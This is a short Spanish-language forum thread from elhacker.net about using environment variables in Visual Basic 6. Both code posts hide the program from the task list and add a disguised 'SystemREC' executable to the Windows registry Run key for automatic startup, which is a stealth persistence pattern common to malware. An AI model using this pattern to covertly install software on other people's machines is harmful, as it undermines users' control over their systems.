Test Foro de elhacker.net SMF 2.1

Programación => .NET (C#, VB.NET, ASP) => Programación General => Programación Visual Basic => Mensaje iniciado por: .;. en 10 Abril 2009, 20:30 PM

Título: Variables de entorno
Publicado por: .;. en 10 Abril 2009, 20:30 PM
Hola, bueno pues he leido lo de las variables de entorno y Environ, pero no se como aplicarlo a este code.

Código (vb) [Seleccionar]
Private Sub Form_Load()
Dim r As String
App.TaskVisible = False
CLAVE = "SystemREC"
VALOR = "C:\WINDOWS\systemrec.exe"
Set wsc = CreateObject("wscript.shell")
r = wsc.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SystemREC")
If r <> VALOR Then
     wsc.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & CLAVE, VALOR
End If
End Sub


¿Alguien sabe?

Quiero cambiar Windows por la variable USERPROFILE
Título: Re: Variables de entorno
Publicado por: seba123neo en 10 Abril 2009, 20:40 PM
Hola, asi ?

Código (vb) [Seleccionar]
Private Sub Form_Load()
    Dim r As String
    App.TaskVisible = False
    CLAVE = "SystemREC"
    VALOR = Environ("USERPROFILE") & "\systemrec.exe"
    Set wsc = CreateObject("wscript.shell")
    r = wsc.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SystemREC")
    If r <> VALOR Then
         wsc.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & CLAVE, VALOR
    End If
End Sub


saludos.
Título: Re: Variables de entorno
Publicado por: .;. en 10 Abril 2009, 20:50 PM
Si, gracias seba.

;D